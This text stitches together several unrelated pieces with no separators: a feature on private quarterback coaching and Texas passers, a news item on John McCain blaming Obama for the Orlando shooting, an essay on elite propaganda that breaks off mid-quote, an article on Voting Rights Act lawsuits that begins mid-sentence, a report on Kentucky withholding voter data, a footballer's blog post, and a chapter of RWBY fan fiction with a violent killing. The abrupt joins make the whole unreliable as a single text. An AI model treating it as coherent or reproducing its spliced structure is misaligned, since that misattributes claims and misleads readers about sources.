kid who could throw and leaving him to figure out the rest. There were no private quarterback coaches. There was little education in the finer points of throwing mechanics. Footwork was rarely given more than a cursory glance. That era now seems almost prehistoric. Google “private quarterback coach” and you’ll find pages and pages of links for reputed experts around the country. Fees range from a children’s-piano-teacher-like $50-per-hour to a corporate-lawyer-billable-hours rate of $600 or more. The industry first took off in California, but over the past several years it has taken deep root in Texas. Now, if you live in the Dallas area, you can take your aspiring Dak Prescott to study quarterbacking with former Texas A&M star Kevin Murray or recent SMU signal caller Kyle Padron or former Green Bay Packers backup Craig Nall. In Houston, there’s former NFLer Mike Quinn and ex-ESPN analyst Sean Salisbury and Texas A&M’s career passing leader, Jerrod Johnson. This growing cottage industry isn’t just a fad for crazy Pop Warner parents. While football may be confronting existential concerns over brain injuries, the quarterback position has never been more glamorous, consequential, or harder to play. Three decades ago, most young quarterbacks were primarily responsible for handing off the ball to their running backs. Now, wide-open, pass-centric offenses are the rule at every level of the game, and quarterback play has become the single most crucial factor in winning or losing. A quarterback who is not spending countless hours mastering his craft is about as likely to lead an elite high school team, to say nothing of a big-time college or pro squad, as a practice-averse concert pianist is of playing at Carnegie Hall. Chase Griffin, like many youth quarterbacks, began taking lessons with a quarterback coach before he had ever played quarterback. Chase’s parents hadn’t been enthusiastic about the prospect of his playing tackle football, and when they finally allowed it, Will told his then ten-year-old son that he had to be the quarterback. (“You get beat up less as a QB,” Will reasoned.) Will has an impressive résumé—Harvard Law School, a business partnership with music mogul Russell Simmons, and his current gig running the television service Hip-Hop on Demand—but his own football career had ended before tenth grade, and he knew his son would be better off learning from others. The summer before Chase’s first season of tackle football, Will hired Jeff Blake, a thirteen-year NFL veteran who lives in Austin, to teach Chase the basics of the position. The next year, Will sought out the San Diego–based quarterback coach George Whitfield Jr., whom the Griffins had first seen on ESPN training future Carolina Panthers star Cam Newton for the NFL combine. At the time, Whitfield’s roster of pupils included both Newton and Pittsburgh Steelers star Ben Roethlisberger, but the quarterback trainer made time for Chase. During his first session with the young Texan, Whitfield told Will, “I want to train him all the way up.” Whitfield opened doors for Chase that few young quarterbacks short of the scions of all-time NFL greats would have ever even known existed. When Chase was eleven, former NFL quarterback Trent Dilfer invited him to be a ball boy at the Elite 11, the most prestigious high-school-quarterback showcase in the country. When Chase was thirteen, Johnny Manziel, another Whitfield client, posted a picture of the two quarterbacks posing together on Instagram with the hashtag #NextBigThing. A few months after Manziel’s Instagram post, ESPN published a feature-length profile of Chase under the headline “The QB Most Likely to Succeed.” (“He’s a ninety-ninth-percentile test-taker and chamber orchestra violinist who’s already plotting to one day run a water purification startup, then maybe run for president,” the article gushed.) Chase continues to work out with Whitfield, sometimes dropping by to share a workout with the likes of Vince Young or Tampa Bay Buccaneers starter Jameis Winston. While football may be confronting existential concerns over brain injuries, the quarterback position has never been more glamorous, consequential, or harder to play. As we sat down for lunch, Will pulled out his iPhone and showed me his son’s Instagram feed. “He’ll get, like, twenty-five, thirty QBs,” Will told me, pointing to the likes under one of Chase’s posts. “Look, [Texas Longhorns freshman] Sam Ehlinger, [New York Giants backup] Davis Webb, [Oakland Raiders backup] Connor Cook.” Chase sat in silence next to his father, betraying little excitement. He was used to his dad taking on the role of good-natured hype man, and he seemed content to let him do the boasting. I wondered what becoming the adopted little brother of so many big-time quarterbacks meant to him. Did it give him an extra boost? “I definitely appreciate it, but it doesn’t give me confidence,” he said. “The work itself gives me my confidence. I feel like no one is doing more quality work than me.” There’s a touch of irony in the tremendous effort being expended on developing the next generation of Texas quarterbacks: despite the state’s legendary high school football culture, it has been a quarterback wasteland for most of its history. The last Texas-raised quarterback to be enshrined in the NFL Hall of Fame was Y. A. Tittle, a Marshall native who threw his final professional pass in December 1964. From Tittle’s retirement until 2001, when the San Diego Chargers selected an undersized Westlake graduate named Drew Brees in the second round of the NFL draft, the most successful professional quarterback that Texas produced was Tommy Kramer, the pride of San Antonio’s Robert E. Lee High School, who made the Pro Bowl with the Minnesota Vikings in 1986 but spent much of his otherwise unremarkable fourteen years in the NFL battling injuries and earning a reputation for carousing. Over the same period of time, Pennsylvanians watched the Hall of Fame careers of native sons Joe Namath, Joe Montana, Jim Kelly, and Dan Marino. It’s not as if there was something in the Texas soil that inhibited the growth of top-flight passers. Quarterback play just wasn’t emphasized in the state. Offensive formations tended to feature two- and sometimes three-running-back sets, and running-dominated attacks such as the wishbone were considered the surest paths to victory. Texas coaches at both the high school and college level regarded the forward pass with suspicion if not outright contempt. As University of Texas head coach Darrell Royal famously said, “Three things can happen when you throw the football, and two of them are bad.” “Growing up in Ohio, I remember you heard the mythology of Texas high school football,” said Oliver Luck, a former Houston Oilers quarterback whose son, Andrew, a graduate of Houston’s Stratford High School, is a three-time NFL Pro Bowler and the Indianapolis Colts’ franchise quarterback. “Texas was Earl Campbell and Billy Sims. It was running backs and linebackers. California was quarterbacks. Ohio and Pennsylvania were a combination of everything.” Then, slowly, a few innovative coaches began to air it out. In 1972, Kramer set a state record by throwing for 2,588 yards. By 1985, when future Heisman trophy winner Ty Detmer threw for 3,551 yards for San Antonio’s Southwest High School, Kramer’s total seemed passé. Detmer’s father, Sonny, was Southwest’s coach, and he had started using offensive formations that stretched four and even five receivers across the line of scrimmage. The idea was to open up passing lanes—and to pass a lot. Detmer wasn’t alone. Ronnie Thompson was running his own pass-heavy attack at Jefferson High School, in Port Arthur; Rusty Dowling was doing the same in Mission; and Hal Mumme was installing an early version of the Air Raid offense at Copperas Cove. But still, they were outliers. “Coaches are creatures of habit,” said David Barron, a longtime Houston Chronicle sportswriter and 2011 inductee into the Texas High School Football Hall of Fame. “And they weren’t going to change until someone showed that you could win championships that way.” When Stephenville High School, under Art Briles, who later became Baylor’s coach, won the state 4A championship with an up-tempo quarterback-centric offense in 1993, the hidebound coaching fraternity began to take notice. Stephenville won again, in 1994. By the mid-aughts, when Todd Dodge, who had played quarterback in Port Arthur under Thompson, won four titles in five years as head coach of Southlake Carroll, even the most conservative coaches clamored to copy his no-huddle, spread attack. × × × × The Texas QB Evolution The Pioneer: Y.A. Tittle An East Texas kid who grew up throwing into a tire swing, Tittle led a Hall of Fame career from 1948 to 1964 that saw him make the All-Pro team four times. The Gunslinger: Tommy Kramer The San Antonio native thrived in an era when Texas passers were rare. In his fourteen-year NFL career, he made a Pro Bowl but spent much of the eighties battling injuries. The Virtuoso: Drew Brees At only six feet tall, Brees faced doubters throughout his early years. Now 38, the Super Bowl champ and New Orleans Saints hero is a surefire Hall of Famer. The Superathlete: Patrick Mahomes II A top MLB prospect before he focused on football at Texas Tech, Mahomes went tenth in this year’s draft and looks like a future star for the Kansas City Chiefs. × × × × The new offenses depended on adept quarterbacks, and long before private coaching became an industry, Texas installed a system that energized the development of passers: seven-on-seven football. That no-tackling-or-blocking variation of the sport had been played in California since the seventies, but it took a 1996 ruling by the University Interscholastic League for Texas high schools to get in on the action. Soon, almost every high school was fielding a team, and since the official Texas rules dictate that “offensive plays must all be passes!” (the exclamation point is official too), quarterbacks were getting more reps than they’d ever dreamed of before. The increasing emphasis on quarterback play in high school resulted in a surge in Texas quarterbacks who excelled in the professional ranks. When Brees rose to the top of the Chargers’ depth chart, in 2002, he was one of just three Texas-bred quarterbacks that season to start an NFL game. (The others were less-than-all-world signal callers Tommy Maddox and Koy Detmer, Ty’s younger brother.) Jump to 2017 and Texas quarterbacks own the league, with Brees and Luck joined by Detroit’s Matthew Stafford (from Highland Park), Cincinnati’s Andy Dalton (Katy), the New York Jets’ Josh McCown (Jacksonville), Miami’s injured starter Ryan Tannehill (Big Spring), and Oakland’s Derek Carr (a California native who played three years of high school football in Sugar Land). That’s not even mentioning the many Texas-bred backups, among them former UT-Austin star Colt McCoy, or the three legends of Texas college football (Young, Manziel, and Robert Griffin III), who are still circling the league, hoping for another chance. Such stars may be only the first wave in the era of the great Texas quarterback. Last year, Nick Gerber, of Levelland, threw for a state record 5,617 yards and 77 touchdowns, and two other quarterbacks posted passing seasons that rank in the top five of all time for yards. Simply putting up big numbers isn’t an indicator of future success, but when I spoke with Graham Harrell, the offensive coordinator at the University of North Texas, who is only 32 and just a decade removed from his record-setting days as a quarterback at Ennis High School and Texas Tech, he told me that when he watches recruiting videos now, he sees guys who are “leaps and bounds” ahead of where he was. “A lot of people recruited me,” Harrell said, “but when I see old clips of myself, I don’t know if I would recruit myself anymore. ” The quarterback-coaching industry offers a tantalizing promise: that if you master the many skills that go into the position, you can maximize your chances of success. Studying with Trenton Kirklin or Jeff Blake or George Whitfield (or all three) is going to make you into a more refined, complete passer. It’s also going to cost a lot of money. Many of the first private quarterback coaching clients were rich kids from Los Angeles, and the industry still favors young passers whose families can afford the help (although ambitious coaches like Kirklin do take on some promising, less privileged clients for drastically reduced rates). Studying with Kirklin or Blake or Whitfield (or all three) is going to make you into a more refined passer. It’s also going to cost a lot of money. But successful quarterbacking has also always depended as much on intangibles—the steely resolve needed to lead a two-minute drill, say—as on arm strength and flawless mechanics. “Competitiveness. Toughness. Leadership. Resilience. Moxie. Grit. There are all sorts of buzzwords coaches use when it comes to sizing up the man they’d feel most confident flipping the keys of their livelihood to,” writes the college-football reporter Bruce Feldman in his 2014 book The QB: The Making of Modern Quarterbacks. “Of course, none of those traits can be measured with any stopwatch or tape measure, which is a big reason the draft, much like the college recruiting process, is such a crapshoot, especially when it comes to quarterbacks.” So far, Chase Griffin has received only one college offer, and it’s from Yale, which is both one of the finest universities in the world and a not-quite-first-choice destination for someone with Super Bowl aspirations. (Cal has always been his dream school.) The reason is simple: Chase stands five feet ten inches, diminutive for the position. And unlike other under-six-foot quarterbacks, such as Manziel or Seattle Seahawks star Russell Wilson, Chase doesn’t compensate for his lack of height with once-in-a-generation athletic talent or an almost mutantlike body. (Manziel has size 15 feet. Wilson has huge 10 1/4-inch hands.) But Chase does have intangibles. For one, he’s smart. “He blew me away with the way he could get up on a whiteboard and talk x’s and o’s and pass-blocking schemes,” Hutto’s head coach, Steve Van Meter, told me. “Chase just lives and breathes it.” And he’s willing to work and work and work. When I asked Chase what set him apart from other quarterbacks, he focused on another intangible. “I hate losing, I hate being outperformed. When I’m playing a game or I’m at a camp, I’m not going to leave the field in a way that shows that I didn’t want it.” Kirklin had seen this quality in Chase too. “If you get a group of quarterbacks together, Chase is going to be the alpha,” the coach said—and while solid fundamentals and exhaustive preparation can fuel a certain confidence, swagger is something that not even Whitfield can teach. Better coaching and more innovative offenses and seven-on-seven football may have created the conditions necessary to develop generations of great passers. Chase has benefited from all of that, and he has distinguished himself as an uncommonly apt pupil, the kind who earns MVPs at college camps and attaboys from established stars. But he’s well aware of the fact that there’s only one way that he can really prove himself to be a great quarterback: by winning, on the field, in the fall.Arizona Republican Senator John McCain harshly criticized President Barack Obama Thursday, telling reporters that he was “directly responsible” for Sunday’s terrorist attack on an Orlando gay club. Reporters at the gaggle tweeted that McCain tied the reportedly ISIS-inspired attack to Obama’s failure to defeat the group in the Middle East. McCAIN: Obama is ‘directly responsible’ for Orlando because he pulled troops from Iraq, bungled Syria — Mike DeBonis (@mikedebonis) June 16, 2016 @SenJohnMcCain says Obama is “directly responsible” for Orlando shootings because of growth of Islamic State on his watch — DonnaCassataAP (@DonnaCassataAP) June 16, 2016 McCain just told group of reporters, several times, that Obama is “directly responsible” for Orlando shooting bc of growth of Isis — Erica Werner (@ericawerner) June 16, 2016 McCain also criticized Obama and blamed him for the rise of ISIS following the Paris terrorist attacks last year, but did not make as direct a connection to the attacks themselves. “It’s because of the president of the United States’ failed policies, ‘leading from behind,’ which has led to this chaos and renewed influence and growth of ISIS,” he argued. UPDATE 4:40p.m. ET: John McCain released a statement clarifying what he meant. [Image via screengrab] —— >>Follow Alex Griswold (@HashtagGriswold) on Twitter Have a tip we should know? tips@mediaite.comBy Andrew Gavin Marshall, Blacklisted News Where there is the possibility of democracy, there is the inevitability of elite insecurity. All through its history, democracy has been under a sustained attack by elite interests, political, economic, and cultural. There is a simple reason for this: democracy – as in true democracy – places power with people. In such circumstances, the few who hold power become threatened. With technological changes in modern history, with literacy and education, mass communication, organization and activism, elites have had to react to the changing nature of society – locally and globally. From the late 19th century on, the “threats” to elite interests from the possibility of true democracy mobilized institutions, ideologies, and individuals in support of power. What began was a massive social engineering project with one objective: control. Through educational institutions, the social sciences, philanthropic foundations, public relations and advertising agencies, corporations, banks, and states, powerful interests sought to reform and protect their power from the potential of popular democracy. Yet for all the efforts, organization, indoctrination and reformation of power interests, the threat of democracy has remained a constant, seemingly embedded in the human consciousness, persistent and pervasive. In his highly influential work, The Crowd: A Study of the Popular Mind, French social psychologist Gustav Le Bon suggested that middle class politics were transforming into popular democracy, where “the opinion of the masses” was the most important opinion in society. He wrote: “The destinies of nations are elaborated at present in the heart of the masses, and no longer in the councils of princes.” This was, of course, a deplorable change for elites, suggesting that, “[t]he divine right of the masses is about to replace the divine right of kings.” Le Bon suggested, however, that the “crowd” was not rational, but rather was driven by emotion and passion. An associate and friend of Le Bon’s, Gabriel Tarde, expanded upon this concept, and articulated the idea that “the crowd” was a social group of the past, and that “the public” was “the social group of the future.” The public, argued Tarde, was a “spiritual collectivity, a dispersion of individuals who are physically separated and whose cohesion is entirely mental.” Thus, Tarde identified in the growth of the printing press and mass communications a powerful medium through which “the public” was shaped, and that, if managed appropriately, could bring a sense of order to a situation increasingly chaotic. The newspaper, Tarde explained, facilitated “the fusion of personal opinions into local opinions, and this into national and world opinion, the grandiose unification of the public mind.” The development of psychology, psychoanalysis, and other disciplines increasingly portrayed the “public” and the population as irrational beings incapable of making their own decisions. The premise was simple: if the population was driven by dangerous, irrational emotions, they needed to be kept out of power and ruled over by those who were driven by reason and rationality, naturally, those who were already in power. The Princeton Radio Project, which began in the 1930s with Rockefeller Foundation funding, brought together many psychologists, social scientists, and “experts” armed with an interest in social control, mass communication, and propaganda. The Princeton Radio Project had a profound influence upon the development of a modern “democratic propaganda” in the United States and elsewhere in the industrialized world. It helped in establishing and nurturing the ideas, institutions, and individuals who would come to shape America’s “democratic propaganda” throughout the Cold War, a program fostered between the private corporations which own the media, advertising, marketing, and public relations industries, and the state itself. ‘A Genuinely Democratic Propaganda’ World War I popularized the term “propaganda” and gave it negative connotations, as all major nations involved in the war effort employed new techniques of modern propaganda to mobilize their populations for war. In the United States, the effort was led by President Woodrow Wilson in the establishment of the Committee on Public Information (CPI) as a “vast propaganda ministry.” The central theme of the CPI was to promote U.S. entry into the war on the basis of seeking “to make a world that is safe for democracy.” This point was specifically developed by the leading intellectual of the era, Walter Lippmann, who by the age of 25 was referred to by President Theodore Roosevelt as “the most brilliant man of his age.” Lippmann was concerned primarily with the maintenance of the state-capitalist system in the face of increased unrest, resistance, and ideological opposition, feeling that the “discipline of science” would need to be applied to democracy, where social engineers and social scientists “would provide the modern state with a foundation upon which a new stability might be realized.” For this, Lippmann suggested the necessity of “intelligence and information control” in what he termed the “manufacture of consent.” Important intellectuals of the era then became principally concerned with the issue of propaganda during peacetime, having witnessed its success in times of war. Propaganda, wrote Lippmann, “has a legitimate and desirable part to play in our democratic system.” A leading political scientist of the era, Harold Lasswell, noted: “Propaganda is surely here to stay.” In his 1925 book, The Phantom Public, Lippmann wrote that the public was a “bewildered herd” of “ignorant and meddlesome outsiders” who should be maintained as “interested spectators of action,” and distinct from the actors themselves, the powerful. Edward Bernays, the ‘father of public relations’ and nephew of Sigmund Freud got his start with Wilson’s CPI during World War I, and had since become a leading voice in the fields of propaganda and public relations. In his 1928 book, Propaganda, Bernays wrote: “The conscious and intelligent manipulation of the organized habits and opinions of the masses is an important element in democratic society. Those who manipulate this unseen mechanism of society constitute an invisible government which is the true ruling power of our country.” Modern society was dominated by a “relatively small number of persons… who understand the mental processes and social patterns of the masses,” and this was, in Bernays’ thinking, “a logical result of the way in which our democratic society is organized.” Bernays referred to this – “borrowing” from Walter Lippmann – as the “
to block the adoption of state voter identification cards and other election rules now faces unprecedented legal challenges. A record five federal lawsuits filed this year challenge the constitutionality of a key provision in the Voting Rights Act. The 1965 statute prevents many state and local governments from enacting new voter ID requirements, redistricting plans and similar proposals on grounds that the changes would disenfranchise minorities. The plaintiffs, which include Alabama, Florida and Texas, are aiming for the Supreme Court because some justices in a previous ruling openly questioned the continued need for parts of the Voting Rights Act. The high court recently received two of the cases on appeal and could take them up in the fall term. Enlarge this image toggle caption J Pat Carter/AP J Pat Carter/AP The three states, and two smaller communities in Alabama and North Carolina, want to regain autonomy over their elections, which are under strict federal supervision imposed by the Voting Rights Act to remedy past discrimination. The complaints ask the courts to strike down the central provision in the law, known as "pre-clearance," which requires governments with a history of discrimination to get federal permission to change election procedures. Pre-clearance is enforced throughout nine states and in portions of seven others. Most of the jurisdictions are in the South. The Justice Department has used the pre-clearance provision to reject several of the plaintiffs' initiatives, including Texas' strict voter ID law. Across the nation, legal battles are escalating over a wave of state laws passed in the past two years that impose photo ID requirements, scale back early voting periods and restrict voter-registration efforts, among other changes. The litigation has become sharply partisan because the changes could influence voter turnout in the November elections. Voter ID laws have been the most contentious, as nine of the 11 states that have passed photo ID laws have Republican governors. Proponents of the Republican-led initiatives say their intent is to prevent voter fraud and shore up the election system. Opponents, mainly Democrats and voting and civil rights groups, insist the measures are aimed at suppressing turnout among minorities and young people, who tend to vote for Democratic candidates. The Justice Department has challenged many of these measures in lawsuits filed under the Voting Rights Act. Challengers argue that they should no longer be forced to comply with the pre-clearance mandate because efforts to prevent minorities from registering, voting or winning elected office were abolished many years ago. "These jurisdictions have made enormous strides in increasing minority participation in elections and voter registration, but also in the election of minority officials," says Washington attorney Michael Carvin. He represents the plaintiffs in the Kinston, N.C., case, which is one of two jurisdictions that have petitioned the Supreme Court. Critics Question Methodology Since its passage, judges have consistently upheld the Voting Rights Act and Congress has reauthorized it four times based on determinations that discrimination in elections continues. The civil rights law is widely considered the most effective of its kind in U.S. history. But a push to scale back the statute gained momentum from the last challenge before the Supreme Court, in 2009. The justices declined to answer the constitutional question but signaled that the law's future isn't assured. "In part due to the success of that legislation, we are now a very different Nation," Chief Justice John Roberts wrote in the majority opinion, adding that continued enforcement "must be justified by current needs." Roberts was alluding to one of the strongest criticisms of the pre-clearance provision and one detailed in the federal complaints — that enforcement is determined by a formula of minority voting statistics from 1964, 1968 and 1972. The methodology fails to account for decades of gains in minority voting and representation in office. Critics fault Congress for failing to update the formula when it reauthorized the statute in 2006 for another 25 years. Many state and local officials believe that the use of current figures would exempt most jurisdictions from pre-clearance, as Alabama explained in its complaint filed last week: "[I]t is no longer constitutionally justifiable for Congress to arbitrarily impose disfavored treatment on Alabama and other covered jurisdictions by forcing them to justify all voting changes to federal officials... for another 25 years even though, if the coverage formula were applied using 2000, 2004 and 2008 voter registration and participation rates, Alabama would no longer be covered." Alabama has long chafed at compliance and, in 1965, was the first jurisdiction to challenge the Voting Rights Act. The Supreme Court ruled against the state. But supporters credit pre-clearance, as the enforcement arm of the law, with breaking the most blatant and unrepentant systems of discrimination. "It has been extraordinarily successful at changing people's habits," says veteran civil rights attorney Armand Derfner of South Carolina, who has successfully argued voting rights cases before the Supreme Court. He represents the League of Women Voters in a lawsuit against South Carolina's voter ID law. "I think a lot of public officials actually like pre-clearance because it keeps the government bodies on their toes." Clearest Impact In The South Most data show minority voter participation, both in registration and balloting, has gradually increased since the 1960s. The Pew Research Center says the 2008 elections had the most diverse U.S. electorate, as nonwhites made up nearly 24 percent. Whites' share of total turnout dropped 3 percentage points from 79 percent in 2004. Black turnout reached a record 65 percent in 2008, compared with 55 percent in 1988, according to the Pew study. Driven by Barack Obama's presidential campaign, blacks voted at the same rate as whites for the first time. The greatest impact of the Voting Rights Act is clear among blacks in the South. In the 1964 presidential election, 72 percent of blacks in the Northeast, Midwest and West voted, according to the Census Bureau. Only 44 percent of blacks in the South cast ballots. By 2008, black turnout in the South reached 63 percent, surpassing black turnout in all other regions, the Census data show. "No rational person can think the South of today looks anything like the South of the 1960s," Carvin says. "There's no cognizable difference between the South and other jurisdictions." Increased minority voting also has boosted minority representation in local, state and federal elected offices. More than 10,500 blacks held elected posts last year, compared with 1,469 in 1970, according to the National Roster of Black Elected Officials. The number of elected Hispanics reached 5,850 last year, a gain of 87 percent since 1984, according to the National Association of Latino Elected and Appointed Officials.Kentucky Secretary of State Alison Lundergan Grimes (D) says her office refuses to release state voter data to President Trump’s “sham” election commission. Grimes tweeted Friday that she “will not release sensitive data” about 3.2 million Kentuckians to the federal government. This request from @POTUS' sham "commission" should alarm every American. I will not release sensitive data about 3.2M KYans to the fed govt. https://t.co/2qqkmpveMQ — Alison L. Grimes (@AlisonForKY) June 30, 2017 ADVERTISEMENT Trump’s commission sent letters to all 50 states requesting the name, address, Social Security number, birthdate, political affiliation and voting history of every voter. Grimes said Trump created his election commission based on the false notion that voter fraud is a widespread issue while it is not. “Despite bipartisan objections and a lack of authority, the President has repeatedly spread the lie that three to five million illegal votes were cast in the last election,” Grimes said in a statement. “Kentucky will not aid a commission that is at best a waste of taxpayer money and at worst an attempt to legitimize voter suppression efforts across the country.” The president has made unsubstantiated claims that large numbers of undocumented immigrants vote in U.S. elections, citing voter fraud as the reason he lost the popular vote in the presidential election.A double joy Hi everyone, This is one of those days when there is no need for words. As you know, it’s been more than two years since I write this weekly blog and I enjoy it a lot, but sometimes I find it difficult to choose the right sentences to express how I feel. Well, this is one of those times. But I can tell you that this Sunday has been one of the happiest days of my career. When you start playing football as a kid on muddy pitches, for something so simple and wonderful as having fun, you dream about becoming a footballer one day to be in a game like the one in Anfield. I mean one of those thrilling games between two great teams and with millions of people watching from so many countries. Manchester United and Liverpool have one of the biggest sports rivalries, and this is the biggest game in English football. I had been told that many times in the past and I have experienced that myself too. Besides, the game was also important because both teams were close on the table, fighting for a place in the Champions League next season. After a great performance against Tottenham a week ago we knew we had to confirm those good feelings in such a tough place as Anfield, and we did it. In particular, I think we performed at a very high level in the first half, and it’s true that we played better against 11 than 10. Football has these things… Obviously I’m very happy for the team’s effort and performance, for such an important victory and for my goals. It has been an unforgettable day for me. As I have said several times before, I am the same player I have always been, with the same passion, the same abilities and the same hunger to get better. Hard work brings a reward, and that has been the case this Sunday. Beating Liverpool at Anfield, being lucky to score two nice goals and feeling your gratitude is something I will never forget. But we must be cautious: these are just three points in the race to our goal. Many of you are asking me about the second goal and the truth is I don’t know very well how to explain it. It’s something you just don’t think… It’s more a resource you use when you understand it’s better to shoot the ball as it comes rather than trying to control it and keep the play. Angel’s pass invited to do so. It’s one of the best goals of my career for sure, among other things because it happened in such a massive game. And it helped us win. I’ve been talking about the game and I forgot to mention that it was the end of a nice week, when some of my friends celebrated their birthdays (Marcos Rojo, Fernando Torres and Alberto Bueno, all on the same day, the 20th). The feelings in the training sessions are good and there is also a bit of sun, which is always nice. It’s a pity there is a break now because we are in a good moment. Lastly, regarding the other big game in la Liga, Barcelona won ‘el Clásico’ against a good Real Madrid. In some stages of the match the visitors were better and very solid, but things changed after Luis Suarez’s goal. I want to say that it’s a pleasure to watch Benzema; there are not many players with such talent and plasticity. And now let me sign off before you get too bored. I thank you, as always, and I share this big joy with all of you after this Sunday that I will never forget. Have a great week. Hugs!Chapter 34 The Last Rose of Summer Torchwick lifted the masked man wearing glasses nearly off his feet with the barrel of his cane under his chin. Every single faunus in the cavern had their eyes fixated on the scene, and despite many of them holding guns they did nothing to help their comrade. "How did she escape, Perry?" Torchwick asked far too calmly. "I-I don't know," he choked. The cane made a slight movement causing his legs to kick slightly. "You let a little girl barely out of middle school outsmart and overpower you?" "S-she was too fast, sir." Torchwick took a long drag off his cigar before blowing smoke in his face. "Please, sir," he pleaded. "P-please don't kill me." The man in the bowler hat lifted him a little higher so his boots no longer dragged the ground. "It's a little too late for that, Perry..." He pulled the trigger and after a brief flash of light, a lifeless body fell to the ground and pair of glasses sprinkled with blood and soot skidded across the cavern. Torchwick took another long drag from his cigar and closed his eyes. When he opened them he saw every faunus staring back at him. A few had guns drawn. 'Animals... everyone of them,' he thought privately. "This is the punishment for failure," Torchwick explained, "and a similar fate is awaiting for you when the huntsmen arrive." The White Fang members exchanged worried glances with one another. "The huntsmen would kill all of you on sight given the chance, but perhaps they'll be merciful and let some of you rot in prison, or-" He dropped his cigar and stomped the light out. "Maybe Atlas will find a new place to send unwanted faunus. I hear Menagerie is getting pretty crowded this time of year." Slowly the rifles pointed at his chest fell. The bluff had worked, just as he knew it would. The new recruits were so easy to manipulate it almost took the fun out of it for him. With a simple speech about faunus honor or about the cruelty of the huntsmen, Atlas, or the Schnee Dust Company, he could whip them up in a frenzy or put centuries worth of fear into their souls. Begrudgingly the mutinous eyes of the White Fang turned away and went back to work. They despised the man in the bowler hat but they feared the huntsmen more, and perhaps hated the people of Vale even more still. 'Just like cattle,' Torchwick thought to himself as they wandered away with their tails between their legs. A young man dropped a crate of dust getting his sudden attention. He looked around nervously making sure no one had seen his mistake, but when he saw the orange haired man standing over his dead comrade he gulped audibly. Torchwick seeing the nervous young man perspiring grinned ear to ear. "Hey you." The young man didn't move, and his frozen stature reminded Torchwick of a deer in the headlights. He whistled as if he were calling his dog. "Come here for a minute. I've got a little job for you..." As stiff as a board the faunus lumbered over nearly tripping over his own feet. 'Perfect...' Torchwick bent over the body and picked up the pair of glasses. "I've got good news for you, kid. There's a job opening and I think you're perfect for it." He set the glasses over the man's mask without even cleaning the blood first. "S-sir?" he whimpered. Torchwick sighed and retrieved another cigar from his pristine white jacket, which somehow hadn't gotten a single drop of blood unlike a couple of innocent bystanders. "We still haven't found the other Perry's head after Neo-" He made the motion of a throat being slit. "And this one..." He gave the body's leg a slight nudge. "Is kinda dead." The orange haired man lit his cigar and winked. "You'll do great, Perry." "But my name's-" "No buts, Perry," Torchwick admonished. "Your first task is to remove your predecessor from my sight. Dead faunus are such a downer. Especially without their heads..." The young man looked as though he was going to be sick. His vision was covered by red. "I know you can do this, Perry." Torchwick gently patted him on the back. "I even see promotion in your future." An explosion rang out in a distant tunnel causing everyone in the cavern to pause. It had been the same one the little girl had escaped from. Torchwick licked his lips and narrowed his eyes at the source of the blast. He released Perry and stood atop a box labeled volatile that Perry had dropped. "Listen up people!" He fired a round from his cane to get the giant machines' attention. "Paladin team, your job is done and we're moving out as is. Scurry back to the airships and fall back to the southern base. I'm sure the White Fang leaders will be waiting for you." 'With a knife behind their backs...' The Paladins dropped their cargo and raced down a large tunnel with several of the White Fang following on foot afraid they'd be left behind. Apparently they didn't need to be told twice. After weeks of watching the White Fang operate the giant machines, he'd decided that actual animals would have made better pilots, and that the Paladins being bare bones prototypes would be next to useless in an actual fight, especially with their incompetency at the helm. He had already lost four of them due to their limbs breaking upon lifting too-heavy equipment, and another when it nearly stepped on Neo. The operator's torso still hadn't been found... Torchwick also had Cinder's orders clear in his mind, and his lovely face meant more to him than what the huntsmen or military would do. He could destroy all the Paladins he wanted but not a single one was to fall in their hands. That had been a part of the arrangement she'd brokered with her associate in Atlas. "You!" He pointed to the youngest group of White Fang members that had their rifles trained on him earlier. "I need you to finish setting the timed charges. If those don't go off the mission's over." He waved his cane to a control panel at the center of the cavern far away from the train. They looked back to the caved in tunnel where the sounds of exploding rocks could be heard and swallowed. "You'll have plenty of time to get back to the train," he lied. "We'll wait for you." The masked men slowly nodded and Torchwick had to suppress a grin and mentally patted himself on the back. 'Why would we need timed charges if we have a train full of bombs?' Luckily the men were either too nervous or thick headed to think it through and followed his orders. "Everyone else on the SDC Express." He ran to the side of the train and waved his hat. "Next stop the soon to be the ex-City of Vale!" Yang grunted as she moved another mountain of rock blocking the path with her fists. Her teammates along with Professor Oobleck stood afar keeping a safe distance from the flying rubble and clouds of dust. It would have been too dangerous for anyone besides her to clear the cave-in, and she could work faster without having to worry about accidentally killing anyone. Ruby leaned against the cave wall for support as she chambered and re-chambered Crescent Rose over and over to make sure her baby wasn't jammed from the Mimic attack. The rifle operated as smoothly as ever to which she was relieved. She could rely on its high recoil to move around quickly and not her semblance. Despite the claw marks and the black stain the ancient Grimm had left as reminders, Ruby could still feel the aura around her weapon from years of being together. She would have to sharpen the blade when they returned to Beacon of course, but the six foot scythe was still as deadly as ever. She took a sigh of relief despite the worry going through her mind. While her sister was busy clearing the cave-in Torchwick had created, Ruby was taking a much needed rest and storing what aura she could. With the medicine kicking in her body had a slight numb feeling as the pain was masked but not completely gone. She knew from experience that her aura would fight the painkillers making them both less effective so she focused on storing it for later which wasn't easy. Skipping two years at Signal had its drawbacks at times, and she was finding more of them daily. Weiss had given her a little of her own aura but it had been more of a comforting gesture than anything else. Without being an aura match her friends might have been able to heal a few of her minor injuries, but with her body's numerous cuts, bruises, and burns it would have been of little help and a waste of their powers. It hadn't stopped them from offering though. On the opposite wall Blake kept her eyes focused over the blonde's shoulder as if she could see through the rock. Her shaking hand kept drifting to Gambol Shroud and her shadow danced in the dim light. Beside her Weiss kept a sharp eye on her partner taking note of every injury and how Ruby's aura kept flickering on and off. She knew Ruby was conserving her strength but couldn't stand the thought of her not having an aura shield for protection. She peeked at her wrist scroll and nudged the girl beside her. She glanced down and shared Weiss' grimace. Without saying a word they nodded in agreement knowing what the other was thinking. Not only would they have to keep an eye on her but if the time came they would have to fight on the front line with Yang. Besides being their leader Ruby held multiple positions on the team that eased the burdens on them both. Ruby was by far the fastest girl on the team, had by far the highest caliber gun, could easily fight at long, mid, and short range, had the sharpest weapon, and comboed well with everyone on the team. Both sisters generally fought in the front with Weiss supporting them from behind with glyphs, while Blake was used for distractions, setting traps, and using her jack of all trades versatility to support any of the three. Without their leader it would mean they'd be less effective and would have to rotate. It was something they had practiced countless times before of course, but Weiss tired easily on the front line and couldn't support her team with glyphs, and while Blake was effective at picking her battles she didn't have the offensive power of her teammates to hold a line for long. They took some solace in the fact that Ruby would have her sniper rifle to support them, and watched as she swung her blade around left handed before embedding it in the rock. She sat down and picked her foot up to tighten her boot but paused when she noticed them staring back at her. Ruby could read their worried expressions and 